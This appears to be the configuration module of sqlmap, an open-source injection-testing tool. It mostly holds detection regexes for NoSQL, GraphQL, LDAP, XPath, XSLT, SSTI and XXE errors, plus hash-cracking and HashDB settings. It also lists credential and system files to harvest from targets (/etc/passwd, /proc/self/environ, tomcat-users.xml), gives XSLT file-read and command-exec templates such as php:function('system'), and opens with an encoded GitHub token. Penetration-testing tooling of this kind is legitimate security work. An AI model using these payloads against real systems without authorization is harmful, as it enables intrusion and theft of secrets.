GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe"
|
|
|
|
# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge)
|
|
HASHDB_STALE_DAYS = 7
|
|
|
|
# Flush HashDB threshold number of cached items
|
|
HASHDB_FLUSH_THRESHOLD_ITEMS = 200
|
|
|
|
# Flush HashDB threshold "dirty" time
|
|
HASHDB_FLUSH_THRESHOLD_TIME = 5
|
|
|
|
# Number of retries for unsuccessful HashDB flush attempts
|
|
HASHDB_FLUSH_RETRIES = 3
|
|
|
|
# Number of retries for unsuccessful HashDB retrieve attempts
|
|
HASHDB_RETRIEVE_RETRIES = 3
|
|
|
|
# Number of retries for unsuccessful HashDB end transaction attempts
|
|
HASHDB_END_TRANSACTION_RETRIES = 3
|
|
|
|
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism)
|
|
HASHDB_MILESTONE_VALUE = "CvHUbaSNZL" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
|
|
|
# Warn user of possible delay due to large page dump in full UNION query injections
|
|
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
|
|
|
# Give up on hash recognition if nothing was found in first given number of rows
|
|
HASH_RECOGNITION_QUIT_THRESHOLD = 1000
|
|
|
|
# Wall-clock budget (in seconds) for the pure-Python cracking of very slow, per-hash-salted algorithms
|
|
# (bcrypt); candidate-major so the most common passwords are tried against every hash first, then it stops
|
|
# and the remainder is left for a dedicated tool (e.g. 'hashcat'). Overridable via 'SQLMAP_HASH_ATTACK_TIME_LIMIT'
|
|
HASH_ATTACK_TIME_LIMIT = 300
|
|
|
|
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
|
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash|secret|digest"
|
|
|
|
# Regular expression matching (declared) binary column types, used to auto-hex their values during dumping
|
|
# so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by
|
|
# the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type)
|
|
BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b"
|
|
|
|
# Uppercased keywords of the above, for building an in-SQL "is this column binary-typed?" check when only
|
|
# column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX)
|
|
BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW")
|
|
|
|
# MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they
|
|
# must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global)
|
|
MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b"
|
|
|
|
# Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce
|
|
MAX_SINGLE_URL_REDIRECTIONS = 4
|
|
|
|
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
|
|
MAX_TOTAL_REDIRECTIONS = 10
|
|
|
|
# Maximum (deliberate) delay used in page stability check
|
|
MAX_STABILITY_DELAY = 0.5
|
|
|
|
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
|
|
MAX_DNS_LABEL = 63
|
|
|
|
# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so
|
|
# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the
|
|
# value is popped right after it is triggered, so only recent entries ever matter)
|
|
MAX_DNS_REQUESTS = 1000
|
|
|
|
# Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content)
|
|
DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters)
|
|
|
|
# Alphabet used for heuristic checks
|
|
HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
|
|
|
|
# Minor artistic touch
|
|
BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
|
|
|
|
# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
|
|
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)"
|
|
|
|
# Regular expression used for recognition of file inclusion errors
|
|
FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
|
|
|
|
# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection
|
|
NOSQL_ERRORS = (
|
|
("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"),
|
|
("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'),
|
|
("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['),
|
|
("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"),
|
|
# NOTE: 'MERGE' is not Cypher-only. It is standard SQL, so it matched "Incorrect syntax near 'MERGE'"
|
|
("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|LOAD CSV)'"),
|
|
("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"),
|
|
# NOTE: the ANTLR "line N:M no viable alternative" line is not evidence of Cassandra on its own -
|
|
# Hibernate 6 and Trino emit it word for word. What IS particular to the CQL grammar: the driver
|
|
# exception in front of it, the ANTLR3 lexer wording ('mismatched character', which the ANTLR4
|
|
# parsers do not have), and the "(...[TOKEN]...)" excerpt that CQL appends to the offending token
|
|
("Cassandra", r"\b(?:ResponseError|SyntaxException|InvalidRequestException|InvalidQueryException)\b[^\n]{0,60}?line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input)|line \d+:\d+ (?:mismatched character|no viable alternative at input '[^']*' \(\.\.\.)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"),
|
|
("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"),
|
|
("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"),
|
|
("InfluxDB", r"error parsing query|unable to parse '[^']*': found"),
|
|
("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"),
|
|
("DynamoDB", r"Statement wasn't well formed, can't be processed|software\.amazon\.awssdk\.services\.dynamodb|com\.amazonaws\.services\.dynamodbv2|\bDynamoDb(?:Exception|Error)\b"),
|
|
)
|
|
NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS)
|
|
|
|
# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction
|
|
NOSQL_CHAR_MIN = 0x20
|
|
NOSQL_CHAR_MAX = 0x7e
|
|
|
|
# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump
|
|
NOSQL_MAX_FIELDS = 64
|
|
|
|
# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump
|
|
NOSQL_MAX_RECORDS = 100
|
|
|
|
# Upper bound for the length search during NoSQL blind extraction
|
|
NOSQL_MAX_LENGTH = 1024
|
|
|
|
# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql)
|
|
GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query")
|
|
|
|
# Self-describing JSON endpoint directories probed once per host during crawling: OIDC discovery lists the
|
|
# auth/token/userinfo URLs, OpenAPI/Swagger specs enumerate the whole API (their paths are mined as endpoints)
|
|
WELL_KNOWN_ENDPOINT_PATHS = ("/.well-known/openid-configuration", "/swagger.json", "/openapi.json", "/swagger/v1/swagger.json", "/api-docs", "/v2/api-docs", "/v3/api-docs", "/api/swagger.json", "/api/openapi.json")
|
|
|
|
# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error
|
|
# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique)
|
|
GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts",
|
|
"account", "accounts", "profile", "product", "products", "order", "orders", "item", "items",
|
|
"customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser")
|
|
GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search",
|
|
"email", "input", "password", "key", "filter", "slug", "title", "uid")
|
|
|
|
# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the
|
|
# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their
|
|
# fields/arguments/inputFields with type chains, directives, and deprecation metadata.
|
|
GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap {
|
|
__schema {
|
|
queryType { name }
|
|
mutationType { name }
|
|
subscriptionType { name }
|
|
directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } }
|
|
types {
|
|
kind
|
|
name
|
|
fields(includeDeprecated: true) {
|
|
name
|
|
args {
|
|
name
|
|
defaultValue
|
|
type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
|
|
}
|
|
type { kind name ofType { kind name ofType { kind name } } }
|
|
}
|
|
inputFields {
|
|
name
|
|
defaultValue
|
|
type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
|
|
}
|
|
enumValues(includeDeprecated: true) { name }
|
|
specifiedByURL
|
|
}
|
|
}
|
|
}"""
|
|
|
|
# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse,
|
|
# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based
|
|
# detection inside the GraphQL engine.
|
|
GRAPHQL_PARSE_ERRORS = (
|
|
r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"',
|
|
r"\bSyntax Error:\s*[^\"]",
|
|
r"\bExpected Name,\s*found\b",
|
|
r"\bUnexpected\s+<EOF>\b",
|
|
)
|
|
# NOTE: graphql-js quotes the offending name, and the response carries those quotes backslash-escaped
|
|
# inside the JSON body ('Cannot query field \"x\" on type \"Query\"'). Without the optional backslash
|
|
# none of these ever matched a real answer - only a pretty-printed one
|
|
GRAPHQL_VALIDATION_ERRORS = (
|
|
r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"',
|
|
r"\bCannot query field\s+\\?\"[^\"\\]+\\?\"\s+on type\s+\\?\"[^\"\\]+\\?\"",
|
|
r"\bUnknown argument\s+\\?\"[^\"\\]+\\?\"\s+on field\s+\\?\"[^\"\\]+\\?\"",
|
|
r"\bField\s+\\?\"[^\"\\]+\\?\"\s+argument\s+\\?\"[^\"\\]+\\?\"\s+of type\s+\\?\"[^\"\\]+\\?\"\s+is required\b",
|
|
r"\bVariable\s+\\?\"\$[^\"\\]+\\?\"\s+got invalid value\b",
|
|
r"\bExpected type\s+[^,]+,\s*found\b",
|
|
r"\bDid you mean\s+\\?\"[^\"\\]+\\?\"",
|
|
)
|
|
GRAPHQL_APQ_ERRORS = (
|
|
r"\bPersistedQueryNotFound\b",
|
|
r"\bPersistedQueryNotSupported\b",
|
|
)
|
|
GRAPHQL_RUNTIME_ERRORS = (
|
|
r"\bGraphQL\s+(?:resolver\s+)?error\b",
|
|
)
|
|
GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS)
|
|
|
|
# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against
|
|
# HTTP response bodies). Each tuple is (backend_name, regex_fragment).
|
|
LDAP_ERROR_SIGNATURES = (
|
|
("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"),
|
|
("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"),
|
|
("Microsoft Active Directory", r"80090308:\s*LdapErr"),
|
|
("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"),
|
|
("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"),
|
|
("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"),
|
|
("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"),
|
|
("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"),
|
|
("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"),
|
|
("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"),
|
|
("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"),
|
|
("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"),
|
|
)
|
|
|
|
# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising
|
|
# that an error response originates from an LDAP back-end rather than a generic HTTP 500
|
|
LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
|
|
|
|
# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan
|
|
LDAP_CHAR_MIN = 0x20
|
|
LDAP_CHAR_MAX = 0x7e
|
|
|
|
# Upper bound for the value-length search during LDAP blind extraction
|
|
LDAP_MAX_LENGTH = 256
|
|
|
|
# Maximum number of directory entries enumerated during LDAP blind dumping
|
|
LDAP_MAX_RECORDS = 20
|
|
|
|
# Attributes that definitively identify the backend vendor when probed on the RootDSE or
|
|
# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
|
|
LDAP_FINGERPRINT_ATTRIBUTES = (
|
|
("objectGUID", None, "Microsoft Active Directory"),
|
|
("vendorName", "OpenLDAP", "OpenLDAP"),
|
|
("vendorName", "Apache Software Foundation", "ApacheDS"),
|
|
("vendorName", "Oracle Corporation", "Oracle Directory Server"),
|
|
("vendorName", "Red Hat", "389 Directory Server"),
|
|
)
|
|
|
|
# XPath error signatures per parser implementation for error-based detection and
|
|
# fingerprinting (matched against HTTP response bodies). Each tuple is
|
|
# (backend_name, regex_fragment).
|
|
XPATH_ERROR_SIGNATURES = (
|
|
# NOTE: neither javax.xml.transform.Transformer*Exception nor org.xml.sax.SAX*Exception belongs
|
|
# here. The first is the XSLT transformer and the second is the XML parser, so claiming them made
|
|
# every stylesheet failure and every malformed-XML response suggest '--xpath' as well. A real
|
|
# Xalan XPath failure always carries javax.xml.xpath.XPathExpressionException
|
|
("Java JAXP / Xalan", r"(?:javax\.xml\.xpath\.XPathExpressionException|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath)"),
|
|
("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"),
|
|
("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"),
|
|
# NOTE: XTDE is an XSLT Transformation Dynamic Error, so it stays with '--xslt'
|
|
("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST)\d{4}:"),
|
|
(".NET XPathNavigator", r"System\.Xml\.XPath\.XPathException"),
|
|
(".NET XPathNavigator", r"Expression must evaluate to a node-set"),
|
|
(".NET XPathNavigator", r"has an invalid (?:token|qualified name)"),
|
|
("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"),
|
|
# NOTE: 'Invalid expression' on its own is not an XPath error. libxml2 always prefixes it with
|
|
# "XPath error : ", and PHP always names the failing method, so both are covered without the
|
|
# bare form - which otherwise matched any calculator or formula field
|
|
("lxml / libxml2", r"XPath error"),
|
|
("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"),
|
|
("PHP SimpleXML / DOMXPath", r"xmlXPathEval"),
|
|
("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"),
|
|
("Saxon (standalone)", r"Static error\(s\) in query"),
|
|
("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"),
|
|
("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"),
|
|
("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
|
|
("eXist", r"exerr:ERROR"),
|
|
("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
|
|
# NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every
|
|
# XSLT parser error suggest '--xpath' as well
|
|
("Generic XPath", r"XPath.*?(?:error|exception|syntax)"),
|
|
("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
|
|
)
|
|
|
|
XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES)
|
|
|
|
# Printable-ASCII codepoint bounds bisected during XPath blind character extraction
|
|
XPATH_CHAR_MIN = 0x20
|
|
XPATH_CHAR_MAX = 0x7e
|
|
|
|
# Maximum tree depth for recursive XML walking during XPath blind extraction
|
|
XPATH_MAX_DEPTH = 32
|
|
|
|
# Upper bound for the value-length search during XPath blind extraction
|
|
XPATH_MAX_LENGTH = 256
|
|
|
|
# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer
|
|
# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is
|
|
# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not
|
|
# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba.
|
|
XQUERY_CAPABILITY_PROBES = (
|
|
"string-join(('a','b'),'')='ab'",
|
|
"upper-case('a')='A'",
|
|
"matches('a','a')",
|
|
)
|
|
|
|
# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind
|
|
# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is
|
|
# handed an http:// URI).
|
|
XQUERY_FILE_READ = "unparsed-text(%s)"
|
|
XQUERY_MAX_FILE_LENGTH = 4096
|
|
|
|
# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every
|
|
# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the
|
|
# broad sweep an in-band engine can afford.
|
|
XQUERY_FILE_HARVEST = (
|
|
"/etc/passwd",
|
|
"/etc/hostname",
|
|
"/proc/self/environ",
|
|
"/proc/self/cmdline",
|
|
"c:/windows/win.ini",
|
|
)
|
|
# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about
|
|
# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target.
|
|
# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix
|
|
# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full
|
|
# XQUERY_MAX_FILE_LENGTH.
|
|
XQUERY_HARVEST_CHARS = 32
|
|
|
|
# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose
|
|
# output is fixed, so they double as the fingerprint when nothing can be reflected.
|
|
# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt
|
|
# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow
|
|
# the binding that actually tells the tester what they are talking to.
|
|
XSLT_ERROR_SIGNATURES = (
|
|
("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"),
|
|
# NOTE: XPathEvalError is raised by a plain tree.xpath() call, so it belongs to '--xpath'. lxml
|
|
# raises XSLTParseError / XSLTApplyError for a stylesheet
|
|
("libxslt / lxml", r"lxml\.etree\.XSLT(?:Parse|Apply)?Error"),
|
|
# NOTE: Saxon is one product for XPath, XQuery and XSLT, so the package name alone proves nothing.
|
|
# Only the XSLT-exclusive evidence is kept (XTSE static / XTDE dynamic codes, the style package)
|
|
("Saxon", r"(?:net\.sf\.saxon\.style\.|XTDE\d{4}|XTSE\d{4}|Failed to compile stylesheet)"),
|
|
# NOTE: only the 'Configuration' form is exclusive to a stylesheet. javax.xml.xpath wraps a plain
|
|
# XPath failure in a bare TransformerException, and a Xalan run-time failure names org.apache.xalan
|
|
("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.TransformerConfigurationException|org\.apache\.xalan|XSLT Error)"),
|
|
(".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"),
|
|
# Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in
|
|
# checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures,
|
|
# which would suggest '--xslt' on targets that have nothing to do with XSLT.
|
|
# NOTE: xmlXPathEval is the libxml2 XPath entry point, which '--xpath' owns. libxslt names the
|
|
# stylesheet file instead, and that is what tells the two apart
|
|
("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsltLoadStylesheet|xsl:\w+ : |(?:runtime|compilation) error: file [^\n]{0,120}\.xsl)"),
|
|
("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"),
|
|
)
|
|
|
|
XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES)
|
|
|
|
# system-property() names the processor from inside the transformation, so a response carrying it is the
|
|
# engine speaking rather than the application echoing.
|
|
XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version")
|
|
|
|
# Extension bridges that turn XSLT injection into arbitrary file read and, on some engines, command
|
|
# execution. An injection has to land in the ELEMENT slot to reach one: the value slot cannot bind the
|
|
# namespace prefix the extension needs. function-available() is NOT trustworthy here (Xalan answers
|
|
# 'false' for a working java: call), so each read/exec bridge is confirmed by EVALUATION - a
|
|
# deterministic self-check whose result the application cannot produce by itself - not by asking whether
|
|
# the function "exists". Read/exec templates take one %s, an already-quoted XPath string literal.
|
|
XSLT_BRIDGE_PHP = "php"
|
|
XSLT_BRIDGE_JAVA = "java"
|
|
|
|
# label, kind, ns-prefix, ns-uri, read-template, exec-template (None where that engine has no exec bridge)
|
|
XSLT_BRIDGES = (
|
|
("PHP registerPHPFunctions (php:function)", XSLT_BRIDGE_PHP, "php", "http://php.net/xsl",
|
|
"php:function('file_get_contents',%s)", "php:function('system',%s)"),
|
|
# Xalan is READ-ONLY here on purpose: java:...Scanner over a File reads any file reliably, but the
|
|
# java: bridge does not stringify a Process stdout back into the result tree, so Runtime.exec would
|
|
# run BLIND with no captured output - offering '--os-cmd' that silently returns nothing is worse than
|
|
# not offering it (a destructive command would look like it never ran). Hence no exec template.
|
|
("Xalan java: extension namespace", XSLT_BRIDGE_JAVA, "java", "http://xml.apache.org/xalan/java",
|
|
"java:next(java:useDelimiter(java:java.util.Scanner.new(java:java.io.File.new(%s)),'\\Z'))",
|
|
None),
|
|
)
|
|
|
|
# File WRITE / eval surfaces that sqlmap reports but does NOT drive: exsl:document writes to the target
|
|
# filesystem (destructive, '--file-write' territory) and saxon:eval needs Saxon-PE/EE. Their mere
|
|
# availability is the finding. Each is (label, boolean XPath self-check that answers 'true').
|
|
XSLT_ADVISORY_PROBES = (
|
|
("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"),
|
|
("Saxon saxon:eval", "string(function-available('saxon:eval'))"),
|
|
)
|
|
|
|
XSLT_MAX_FILE_LENGTH = 65536
|
|
|
|
# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+
|
|
# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so
|
|
# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base).
|
|
XSLT_XML_HARVEST = (
|
|
"/var/www/html/WEB-INF/web.xml",
|
|
"/usr/local/tomcat/conf/tomcat-users.xml",
|
|
"/usr/local/tomcat/conf/server.xml",
|
|
"/opt/tomcat/conf/tomcat-users.xml",
|
|
"/etc/tomcat/tomcat-users.xml",
|
|
"c:/inetpub/wwwroot/web.config",
|
|
"c:/windows/system32/inetsrv/config/applicationHost.config",
|
|
)
|
|
|
|
# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests.
|
|
XSLT_MAX_HARVEST = 12
|
|
|
|
# SSTI error signatures per template engine for detection and fingerprinting.
|
|
# Each tuple is (engine_name, regex_fragment).
|
|
SSTI_ERROR_SIGNATURES = (
|
|
("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
|
|
# NOTE: 'at line: N char: N' (with those colons) is how Mako, and only Mako, points at the fault
|
|
("Mako", r"mako\.exceptions\.\w+|at line: \d+ char: \d+"),
|
|
# NOTE: Twig quotes the offending name ('Unknown "upper" filter'). Without the quotes this also
|
|
# matched the 'Unknown function' of Neo4j and Cassandra, which suggested '--ssti' on a NoSQL error
|
|
("Twig", "Twig[\\\\_]Error|Twig[\\\\_]Environment|Unknown \"[^\"]+\" (?:filter|function|test|tag)"),
|
|
# NOTE: a bare 'ParseException' is not Freemarker. It also matched java.text.ParseException,
|
|
# org.xml.sax.SAXParseException and REXML::ParseException. The package prefix is always present
|
|
("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|InvalidReferenceException|TemplateException"),
|
|
("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
|
|
("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
|
|
("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"),
|
|
("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
|
|
# NOTE: these must stay anchored to a diagnostic. The bare product names matched any page that
|
|
# carries the word 'pug'/'jade'/'handlebars' (a surname, a colour, a <script src=> of the runtime),
|
|
# and the bare 'ParseError' matched lxml.etree.XSLTParseError and ElementTree.ParseError
|
|
("Pug/Jade", "\\.(?:pug|jade):\\d+|(?:Pug|Jade):\\d+|unexpected token \"(?:indent|outdent|start-attributes|interpolation|attrs)\""),
|
|
("Handlebars", r"handlebars[^\n]{0,60}?(?:error|exception)|Parse error on line \d+"),
|
|
# NOTE: 'template.*?error' matched any line holding both words, down to a CSS comment
|
|
("Generic SSTI", r"\bTemplate(?:Syntax|Render|Assertion|Parse)?(?:Error|Exception)\b|\btemplate[^\n]{0,40}?(?:syntax error|render error|parse error|error on line)|\b(?:syntax|parse) error in template\b"),
|
|
)
|
|
|
|
SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
|
|
|
|
# XXE parser error signatures for detection and fingerprinting. Each tuple is
|
|
# (parser_family, regex_fragment). A match means the XML surface reached a real
|
|
# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) -
|
|
# useful both as an error-based oracle and to fingerprint the back-end parser.
|
|
XXE_ERROR_SIGNATURES = (
|
|
("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"),
|
|
("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"),
|
|
# NOTE: 'must be declared' has to keep the quoted name in front of it. On its own it matched the
|
|
# "variable 'x' must be declared before it is used" of TypeScript and of every other compiler
|
|
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|\"[^\"]*\" must be declared|had to be read but the maximum)"),
|
|
(".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
|
|
